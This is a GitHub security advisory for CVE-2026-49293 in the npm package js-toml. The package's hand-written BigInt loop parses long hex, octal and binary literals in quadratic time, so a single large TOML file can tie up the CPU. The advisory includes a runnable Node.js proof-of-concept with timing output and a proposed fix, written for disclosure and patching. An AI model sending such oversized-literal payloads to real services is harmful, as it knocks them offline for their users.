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CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals

High
sunnyadn published GHSA-wp3c-266w-4qfq May 25, 2026

Package

npm js-toml (npm)

Affected versions

<= 1.1.0

Patched versions

1.1.1

Description

Summary

js-toml versions up to and including 1.1.0 parse hexadecimal / octal / binary integer literals via a hand-written parseBigInt loop that multiplies a BigInt accumulator by the radix once per input digit. Each iteration performs a BigInt * BigInt operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.

A caller that invokes load() on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party *.toml, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.

CWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (HIGH) when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB).

Affected

  • Package: js-toml (npm)
  • Versions: >= 0.0.0, <= 1.1.0 (all released versions up to and including the current 1.1.0)
  • Affected entry point: load() exported from the package root

Vulnerable code

src/load/tokens/NonDecimalInteger.ts lines 54-84 at SHA-pinned 2470ebf2e9009096aa4cbd1a15e574c54cc36b1a:

const parseBigInt = (string: string, radix: number): bigint => {
  let result = BigInt(0);
  for (let i = 0; i < string.length; i++) {
    const char = string[i];
    const digit = parseInt(char, radix);
    result = result * BigInt(radix) + BigInt(digit);
  }

  return result;
};

and the interpreter that dispatches to it at lines 72-84:

registerTokenInterpreter(NonDecimalInteger, (raw: string) => {
  const intString = raw.replace(/_/g, '');
  const digits = intString.slice(2);
  const radix = getRadix(raw);

  const int = parseInt(digits, radix);

  if (Number.isSafeInteger(int)) {
    return int;
  }

  return parseBigInt(digits, radix);
});

Two compounding problems:

  1. Algorithmic: the loop performs result * BigInt(radix) + BigInt(digit) once per input digit. After i iterations result has O(i) limbs, so the multiply costs O(i). Summed over n digits the total cost is O(n²).

  2. No length guard: the lexer regex at src/load/tokens/NonDecimalInteger.ts#L14-L46 is 0x<hexDigit>(<hexDigit>|_<hexDigit>)* (likewise for 0o / 0b). The literal length is bounded only by the input document size. There is no maxNumberLength / maxLiteralLength option, no chevrotain-level cutoff, and no validation at the interpreter callsite.

By contrast, the DecimalInteger token interpreter at src/load/tokens/DecimalInteger.ts#L12-L19 uses the V8 native BigInt(intString) constructor, which is O(n) and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.

Impact

A single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With 8 MB of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls load() (the only documented entry point) on attacker-controlled or third-party TOML.

Reachability

The vulnerable path is the default code path for load(). No options or configuration are required to trigger it. Any caller that exposes load() to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds Number.MAX_SAFE_INTEGER (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).

Realistic exposure surfaces:

  • Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).
  • CI / CD or build tool that runs js-toml on TOML in third-party repositories or pull requests.
  • IDE / language-server plugin that re-parses a TOML buffer on every keystroke.
  • Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.

PoC (End-to-end reproduction)

Environment

  • Node.js v22.x (tested on v22.0.0 and Node v26.0.0)
  • macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)

Install

mkdir js-toml-cve && cd js-toml-cve
npm init -y
npm install js-toml@1.1.0 @iarna/toml

poc_full_e2e.mjs

import { load } from 'js-toml';
import iarna from '@iarna/toml';

function timeIt(label, fn) {
  const t0 = process.hrtime.bigint();
  let result, err;
  try { result = fn(); } catch (e) { err = e; }
  const t1 = process.hrtime.bigint();
  const ms = (Number(t1 - t0) / 1e6).toFixed(1);
  if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);
  else     console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`);
}

console.log('--- Sanity baseline (small inputs) ---');
timeIt('decimal int 1', () => { load('x = 1'); return ''; });
timeIt('hex 0x10',      () => { load('x = 0x10'); return ''; });
timeIt('hex 0xffff',    () => { load('x = 0xffff'); return ''; });

console.log('\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---');
for (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {
  const hexDigits = 'f'.repeat(n);
  const tomlText  = `x = 0x${hexDigits}`;
  timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,
    () => {
      const r = load(tomlText);
      return `bits=${r.x.toString(2).length}`;
    });
}

console.log('\n--- Negative control: same input via @iarna/toml ---');
for (const n of [10_000, 50_000, 100_000, 200_000]) {
  const hexDigits = 'f'.repeat(n);
  const tomlText  = `x = 0x${hexDigits}`;
  timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,
    () => {
      const r = iarna.parse(tomlText);
      return `type=${typeof r.x}`;
    });
}

console.log('\n--- Octal / binary share the same code path ---');
for (const n of [50_000, 100_000]) {
  const octDigits = '7'.repeat(n);
  const binDigits = '1'.repeat(n);
  timeIt(`oct 0o${n.toLocaleString()} digits`,
    () => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });
  timeIt(`bin 0b${n.toLocaleString()} digits`,
    () => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });
}

Captured run output (unpatched js-toml@1.1.0, Node v26.0.0, Apple M-series)

# js-toml version: 1.1.0

--- Sanity baseline (small inputs) ---
decimal int 1: 1.3ms
hex 0x10: 0.4ms
hex 0xffff: 0.1ms

--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits (10006 bytes input): 15.0ms bits=40000
hex 20,000 digits (20006 bytes input): 29.8ms bits=80000
hex 50,000 digits (50006 bytes input): 214.7ms bits=200000
hex 100,000 digits (100006 bytes input): 693.0ms bits=400000
hex 200,000 digits (200006 bytes input): 3239.6ms bits=800000
hex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000

--- Negative control: same input via @iarna/toml ---
@iarna/toml hex 10,000 digits: 2.3ms type=bigint
@iarna/toml hex 50,000 digits: 3.2ms type=bigint
@iarna/toml hex 100,000 digits: 5.4ms type=bigint
@iarna/toml hex 200,000 digits: 10.2ms type=bigint

--- Octal / binary share the same code path ---
oct 0o50,000 digits: 187.6ms bits=150000
bin 0b50,000 digits: 49.5ms bits=50000
oct 0o100,000 digits: 633.2ms bits=300000
bin 0b100,000 digits: 196.8ms bits=100000

Confirmation points:

  • Quadratic curve: 10k → 20k digits is ~2x time (15ms → 30ms); 100k → 200k is ~4.7x time (693ms → 3239ms); 200k → 500k (2.5x) is ~12x time (3.2s → 40s). Matches the predicted O(n²).
  • Single ~500 kB document blocks the event loop for ~40 s of CPU time.
  • Octal and binary literals trigger the same path through parseBigInt(digits, 8) and parseBigInt(digits, 2).
  • The negative control (@iarna/toml, which calls the V8 native BigInt(value) constructor) parses the same inputs in 2-10 ms. The defect is in js-toml's hand-written radix conversion, not in V8 BigInt semantics or in the input size itself.

Patched-build verification

After applying the fix (replace parseBigInt(digits, radix) with BigInt('0' + raw[1] + digits) and add a maxLiteralLength guard at the interpreter callsite), the same PoC produces:

--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits: 0.2ms bits=40000
hex 20,000 digits: 0.3ms bits=80000
hex 50,000 digits: 0.7ms bits=200000
hex 100,000 digits: 1.5ms bits=400000
hex 200,000 digits: 2.8ms bits=800000
hex 500,000 digits: 7.1ms bits=2000000

(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise SyntaxParseError instead of being parsed at all, matching the maxNumberLength convention used by jackson-core StreamReadConstraints and gson NumberLimits.

Suggested fix

Two changes, both in src/load/tokens/NonDecimalInteger.ts:

  1. Replace the hand-written parseBigInt loop with the V8 native BigInt(prefixedString) constructor. BigInt natively accepts the 0x / 0o / 0b prefix and parses in O(n):

    registerTokenInterpreter(NonDecimalInteger, (raw: string) => {
      const intString = raw.replace(/_/g, '');
      const digits = intString.slice(2);
      const radix = getRadix(raw);
    
      // Optional but recommended: cap the literal length to avoid degenerate inputs
      const MAX_RADIX_LITERAL_LENGTH = 1000;
      if (digits.length > MAX_RADIX_LITERAL_LENGTH) {
        throw new SyntaxParseError(
          `Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`
        );
      }
    
      const int = parseInt(digits, radix);
      if (Number.isSafeInteger(int)) {
        return int;
      }
    
      // BigInt accepts '0x'/'0o'/'0b' prefix natively
      return BigInt(intString);
    });
  2. Delete the parseBigInt helper. The native constructor handles all three radices.

Either change alone fixes the worst-case wall-clock. The combination matches the constraint posture of jackson-core (StreamReadConstraints.validateIntegerLength) and gson (NumberLimits.checkNumberStringLength).

Fix PR link

A fix PR will be opened on the advisory's temp private fork once the advisory is filed; the link will be added to the advisory thread as a follow-up comment.

Credit

Reported by tonghuaroot.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-49293

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. Learn more on MITRE.

Inefficient Regular Expression Complexity

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles. Learn more on MITRE.

Credits